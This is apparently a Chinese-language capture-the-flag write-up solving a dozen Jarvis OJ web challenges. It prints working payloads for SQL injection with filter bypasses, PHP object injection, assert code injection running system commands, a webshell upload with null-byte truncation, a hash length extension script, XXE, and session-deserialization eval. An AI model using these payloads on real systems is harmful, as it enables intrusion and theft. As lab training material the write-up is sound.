PORT51(curl)
LOCALHOST(伪造ip)
Login(SQL注入)
神盾局的秘密(base64编码+反序列化)
IN A Mess(代码审计+过滤空格SQL注入)
[61dctf]babyphp(Git泄露+代码注入)
Easy Gallery(文件上传、%00截断)
Simple Injection(过滤空格SQL注入)
RE? (mysql的UDF用户自定义函数)
flag在管理员手里(Hash长度扩展攻击)
api调用(XXE漏洞)
PHPINFO(SESSION反序列化)
题目链接:http://web.jarvisoj.com:32770/
本地的51号端口访问服务器,需要用到curl.
windows下curl下载地址:https://curl.haxx.se/download.html
curl --local-port 51 http://web.jarvisoj.com:32770/
curl的介绍和一些常见用法:https://blog.csdn.net/liitdar/article/details/80684730
题目入口:http://web.jarvisoj.com:32774/
火狐插件X-Forwarded-For Header伪装成127.0.0.1
题目链接:http://web.jarvisoj.com:32772/
尝试了几个密码都显示Wrong Password.
只得抓包,发现响应头中有hint.
这里使用了md5加密,
而ffifdyop经过
md5($password,true)过后恰好结果是'or'6�]��!r,��b,即最后组成的sql语句是:
$sql="select * from admin where password=''or''"
所以直接输入ffifdyop
即可得到flag.
这道题告诉我们,md5使用的时候一定要加盐!
类似题目:
题目入口:http://lab1.xseclab.com/code1_9f44bab1964d2f959cf509763980e156/
题目来源:hacking lab inject 09~
看到源代码password=’”.md5($_GET['pwd'], true),就知道这道题和题目3的解法是一致的。
http://lab1.xseclab.com/code1_9f44bab1964d2f959cf509763980e156/?userid=1&pwd=ffifdyop
题目入口:http://web.jarvisoj.com:32768/
查看页面源代码:
发现图片名经过base64加密,解密后得到文件名:
尝试访问index.php的页面源代码,先给index.php base64加密:
访问后发现有个shield.php:
shield.php中发现一句话:
flag is in pctf.php
访问了pctf.php却没有flag:
最后再看看showimg.php的内容:
综合分析,题目过滤了".."、"/"、"\\","pctf"
通过审计代码,这里是利用自己写shield.php中的Shield类反序列化字符串,然后利用index.php反序列把这个类实例,并将该类的filename指为pctf.php.
所以我们要将实例进行序列化,最后在index.php提交序列化后的内容.
file = $filename;
}
}
$str = new Shield();
echo serialize($str);
?>
最终payload:
view-source:http://web.jarvisoj.com:32768/index.php?class=O:6:"Shield":1:{s:4:"file";s:8:"pctf.php";}
题目入口:http://web.jarvisoj.com:32780/
查看页面源代码:
访问index.phps,发现只有后面一半代码:
查看页面源代码,发现完整代码:
";
if(!$_GET['id'])
{
header('Location: index.php?id=1');
exit();
}
$id=$_GET['id'];
$a=$_GET['a'];
$b=$_GET['b'];
if(stripos($a,'.'))
{
echo 'Hahahahahaha';
return ;
}
$data = @file_get_contents($a,'r');
if($data=="1112 is a nice lab!" and $id==0 and strlen($b)>5 and eregi("111".substr($b,0,1),"1114") and substr($b,0,1)!=4)
{
require("flag.txt");
}
else
{
print "work harder!harder!harder!";
}
?>
Payload:
http://web.jarvisoj.com:32780/index.php?id=a&b=%00111223&a=php://input
[POST]"1112 is a nice lab!"
得到下一关的地址:
http://web.jarvisoj.com:32780/%5EHT2mCpcvOLf/index.php?id=1
接下来是SQL注入:
尝试进行注入,发现此时,简单过滤了空格,利用/*666*/
绕过,且去除敏感字符
于是有:?id=1/*666*/and/*666*/1/*666*/=/*666*/1
显示正常
?id=1/*666*/and/*666*/1/*666*/=/*666*/2
显示错误,存在注入
?id=1/*666*/order/*666*/by/*666*/1
显示正常
?id=1/*666*/order/*666*/by/*666*/2
显示正常
?id=1/*666*/order/*666*/by/*666*/3
显示正常
?id=1/*666*/order/*666*/by/*666*/4
显示错误,字段数为3
爆库:
?id=-1/*6*/uniunionon/*6*/seselectlect/*6*/1,2,(database())%23
得到数据库名test
爆表名:
?id=-1/*6*/uniunionon/*6*/seselectlect/*6*/1,2,(selselectect/*6*/group_concat(column_name)/*6*/frofromm/*6*/information_schema.columns/*6*/where/*6*/table_name=0x636f6e74656e74)%23
得到列名:context
读取内容:
?id=-1/*6*/uniunionon/*6*/seselectlect/*6*/1,2,(selselectect/*6*/context/*6*/frofromm/*6*/content)%23
题目入口:http://web.jarvisoj.com:32792/
扫一下目录,发现有个robots.txt
访问该文件
答案会这么简单吗?不会!
只要在cookie中把admin的值由0改为1即可.
这样就得到flag了.
题目入口:http://web.jarvisoj.com:32798/
在about下发现了提示,怀疑存在git泄露
用GitHack脚本获取
python GitHack.py http://web.jarvisoj.com:32798/.git/
浏览了下,templates目录里面没什么有用信息,
有个flag.php还是空的,但是估计题目就是要获取题目服务器上的flag.php内容,
最主要的地方是index.php的php代码部分.
它使用了assert这个可以代码执行的函数,后面的file_exists()可以不用管,从strpos入手,因为内容可控,所有可以拼接
自己本地模拟下,发现php能够用 and 和 | 来执行多条命令,使用 . 作为连接符。
注入思路:
整体上可以注释掉’, ‘..’) === false,或者不注释,只在中间插入。另外要注意闭合单引号和括号。
查看目录下文件:
http://web.jarvisoj.com:32798/?page=flag'.system("ls templates/;").'
当时我想的是能否直接用这样的payload实现查看源代码呢?
Payload:
http://web.jarvisoj.com:32798/?page=flag'.system("cat templates/flag.php;").'
发现页面没有显示内容,但其实就在页面源码里:
代入:
. 连接符 ,?page=flag’.system(“ls”).’ 代入后得到
assert(“strpos(‘flag’.system(“ls”).”, ‘..’) === false”) or die(“Detected hacking attempt!”);
执行过程:
字符串flag和system(“ls”)和空字符”拼接后,作为strpos()的第一个参数。
重点是system()函数是会直接把结果输出的,不用echo,也可以输出,所以system(“ls”)就直接把目录输出了。
如何注释掉后面的语句:
?page=’,’88’)===false and system(“cat templates/flag.php”);//
php代码注入总结:
连接自己的命令 :;and | . ,
system(“xxx”) 中命令使用双引号
闭合引号:
php中单引号不解释变量,双引号解释,一般都是单引号
题目入口:http://web.jarvisoj.com:32785/
看到upload页面,猜想应该是上传题目.
随便改个参数,报错warning.
可看出是用fopen进行文件包含的,这里能够%00截断,但是不能访问index.php.
尝试修改文件名和改Content-Type,都没能成功.
重点来了!!!
那么思路是把代码插入到图片中,然后包含这个图片,并利用%00截断,截取后面的.php,这里不能直接传以jpg格式结尾的php代码,估计它检查了头部,所以要将代码插入图片中.
抓包,在图片文件最后加上一句话木马
写并不能成功,后来看了别人的writeup才知道可能后台代码把 ,这也是为什么index.php不能包含进去的原因.
猜想访问图片的方式为:
http://web.jarvisoj.com:32785/index.php?page=uploads/1555763227.jpg
访问后得到回显:
注意文件名后面有个.php,于是想到了%00截断
访问:
http://web.jarvisoj.com:32785/index.php?page=uploads/1555763227.jpg%00
得到flag。
Besides:
通过view进行查看图片,然后查看源码获取图片的位置:
http://web.jarvisoj.com:32785/show.php?id=1555763227&type=jpg
题目入口:http://web.jarvisoj.com:32787/
burp抓包并保存为1.txt:
根据是用户名错误还是密码错误来进行判断。可得知过滤了空格,and,or。
这里用sqlmap的一个space2comment脚本跑。
Payload:
sqlmap.py -r 1.txt --technique T --level 3 --tamper=space2comment -D injection -T admin --dump
password经md5解密:
eTAloCrEP
登陆后显示flag:
题目地址:udf.so.02f8981200697e5eeb661e64797fc172
搜了一下题解,这道题大概思路是:
下载下来后文件名为udf.so.XXXXX,用mysql导入一下。
所以这道题就是让我们在本地导入udf,然后调用函数看结果。
奈何在windows下的MySQL或MariaDB尝试会报错:
ERROR 1126 (HY000): Can't open shared library 'udf.so.02f8981200697e5eeb661e64797fc172' (errno: 2, )
原因:
udf是mysql自定义函数包,
udf.so用于linux系统,udf.dll用于windows系统。
解决方法:
解题方法一:Linux
cd /usr/lib64/mysql/plugin
wget https://dn.jarvisoj.com/challengefiles/udf.so.02f8981200697e5eeb661e64797fc172
登陆MySQL或MariaDB后:
create function help_me returns string soname 'udf.so.02f8981200697e5eeb661e64797fc172';
select help_me();
create function getflag returns string soname 'udf.so.02f8981200697e5eeb661e64797fc172';
select getflag();
解题方法二:Docker
>docker search mysql
Error response from daemon: Get https://index.docker.io/v1/search?q=mysql&n=25: dial tcp: lookup index.docker.io on 192.168.65.1:53: read udp 192.168.65.3:43547->192.168.65.1:53: i/o timeout
#重启解决(没有什么是重启解决不了的,如果有,就重装)
> docker pull mysql
> docker run -p 3306:3306 --name ctf-mysql -v D:\security\docker:/tmp -e LANG=C.UTF-8 -e MYSQL_ROOT_PASSWORD=123456 -d mysql
>docker exec -it ctf-mysql bash
root@72c3316058c9:/# mysql -u root -p
mysql> select @@plugin_dir;
root@72c3316058c9:/# cp ./udf.so.02f8981200697e5eeb661e64797fc172 /usr/lib/mysql/plugin/udf.so
mysql> create function help_me returns string soname 'udf.so';
Query OK, 0 rows affected (0.04 sec)
mysql> select help_me();
use getflag function to obtain your flag!!
mysql> create function getflag returns string soname 'udf.so';
Query OK, 0 rows affected (0.05 sec)
mysql> select getflag();
PCTF{Interesting_U5er_d3fined_Function}
即可得到flag。
题目链接:http://web.jarvisoj.com:32778/
上去先抓包,发现会设置一个md5和你的身份guest。
题目的意思应该是将guest改为admin。
大概是哈希长度拓展攻击。
估计要找源码了,常见的备份文件 .bak .swp .swo 还有 ~
用源码泄露工具扫描一下:
Usage :
python SourceLeakHackerForLinux.py [URL]
Example :
python SourceLeakHackerForLinux.py http://www.baidu.com/
Tips :
Your URL should must starts with "http://" or "https://"
打开这个链接可以下载一个文件index.php~,这个是php的备份恢复文件,拿到 linux下,重命名为index.php.swp,使用命令vim -r index.php 即可恢复原来的php文件,得到源码:
Welcome Admin. Your flag is
} else {
echo "Only Admin can see the flag!!
";
}
?>
如何知道 $salt 的长度呢,可以选择kali中的hashpump 或者 hash_extender工具爆破……
安装hash_extender步骤:
git clone https://github.com/iagox86/hash_extender
cd hash_extender
make
还需要一个python脚本,来自:
https://skysec.top/2017/08/16/jarvisoj-web/#flag%E5%9C%A8%E7%AE%A1%E7%90%86%E5%91%98%E6%89%8B%E9%87%8C
# -*- coding:utf-8 -*-
from urlparse import urlparse
from httplib import HTTPConnection
from urllib import urlencode
import json
import time
import os
import urllib
def gao(x, y):
#print x
#print y
url = "http://web.jarvisoj.com:32778/index.php"
cookie = "role=" + x + "; hsh=" + y
#print cookie
build_header = {
'Cookie': cookie,
'User-Agent': 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10.11; rv:44.0) Gecko/20100101 Firefox/44.0',
'Host': 'web.jarvisoj.com:32778',
'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8',
}
urlparts = urlparse(url)
conn = HTTPConnection(urlparts.hostname, urlparts.port or 80)
conn.request("GET", urlparts.path, '', build_header)
resp = conn.getresponse()
body = resp.read()
return body
for i in xrange(1000):
print i
#secret len = ???
find_hash = "./hash_extender -d ';\"tseug\":5:s' -s 3a4727d57463f122833d9e732f94e4e0 -f md5 -a ';\"nimda\":5:s' --out-data-format=html -l " + str(i) + " --quiet"
#print find_hash
calc_res = os.popen(find_hash).readlines()
hash_value = calc_res[0][:32]
attack_padding = calc_res[0][32:]
attack_padding = urllib.quote(urllib.unquote(attack_padding)[::-1])
ret = gao(attack_padding, hash_value)
if "Welcome" in ret:
print ret
break
可见盐的长度是12……且得到回显:
Web 350
Welcome Admin. Your flag is PCTF{H45h_ext3ndeR_i5_easy_to_us3}
先在centos或者kali下安装HashPump:
git clone https://github.com/bwall/HashPump
#yum install g++ libssl-dev #centos
apt-get install g++ libssl-dev #kali
cd HashPump
make
make install
使用方法:
Input Signature 为COOKIES中hsh的值
Input Data 为用户名
Input Key Length 为长度
Input Data to Add 为密码(自定义,除了admin)
把内容中值反转一下,把\x替换为%:
s:5:"admin"%3b%00%00%00%00%00%00%00%c0%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%80s:5:"guest"%3b
fcdc3840332555511c4e4323f6decb07
将其输入到cookie对应的参数中,获得flag,注意下序列化的 ";" 在cookie中需要编码成 %3b
那么这里为什么能够添加了这么多内容,还能满足源码中如下的判定条件呢:
$role == ‘admin‘
因为这道题巧在利用了unserialize来进行反序列化,它会把序列化格式 ;之后的内容丢弃
也就是 s:5:"admin"; xxxxx (xxxx全被丢弃了)
如果不是被反序列化了,这样这道题不能满足$role == ‘admin‘条件了
同类题目(shiyanbar):
http://ctf5.shiyanbar.com/web/kzhan.php
请设法获得目标机器/home/ctf/flag.txt中的flag值。
题目入口:http://web.jarvisoj.com:9882/
抓包传的json:
利用了ajax,这里把传的json改成xml,并利用xxe读取flag
先把头中的Content-Type改为application/xml
下面利用xxe
得到flag。
关于XXE漏洞的两篇文章:
https://security.tencent.com/index.php/blog/msg/69
https://www.freebuf.com/articles/web/126788.html
题目入口:http://web.jarvisoj.com:32784/
mdzz = 'phpinfo();';
}
function __destruct()
{
eval($this->mdzz);
}
}
if(isset($_GET['phpinfo']))
{
$m = new OowoO();
}
else
{
highlight_string(file_get_contents('index.php'));
}
?>
本题的突破点在于:
ini_set('session.serialize_handler', 'php');
当get传入phpinfo时会实例化OowoO这个类并访问phpinfo()。
通过phpinfo页面,我们知道php.ini中默认session.serialize_handler为php_serialize,而index.php中将其设置为php。
这就导致了seesion的反序列化问题。
由phpinfo()页面继续可知,session.upload_progress.enabled为On。
因此当一个上传在处理中,同时POST一个与INI中设置的session.upload_progress.name同名变量时,
当php检测到这种POST请求时,它会在$_SESSION中添加一组数据。
所以可以通过Session Upload Progress来设置session。
但是,这时就有一个问题,在题目代码中,没有某个值是用来接受我们传入的数据,并储存到$_SESSION中的。
其实我们是有办法传入$_SESSION数据的,这里就利用到了|的反序列化问题。
思路很明显了,我们需要构造一个上传和post同时进行的情况,代码如下:
test
再考虑序列化:
得到下面结果:
O:5:"OowoO":1:{s:4:"mdzz";s:36:"print_r(scandir(dirname(__FILE__)));";}
为防止转义,在引号前加上\
。利用前面的html页面随便上传一个东西,抓包,把filename改为如下:
|O:5:\"OowoO\":1:{s:4:\"mdzz\";s:36:\"print_r(scandir(dirname(__FILE__)));\";}
注意,前面还有一个|
,这是session的格式。
通过phpinfo页面查看当前路径_SERVER["SCRIPT_FILENAME"]
进一步更改,可获得flag
|O:5:\"OowoO\":1:{s:4:\"mdzz\";s:88:\"print_r(file_get_contents(\"/opt/lampp/htdocs/Here_1s_7he_fl4g_buT_You_Cannot_see.php\"));\";}
得到flag。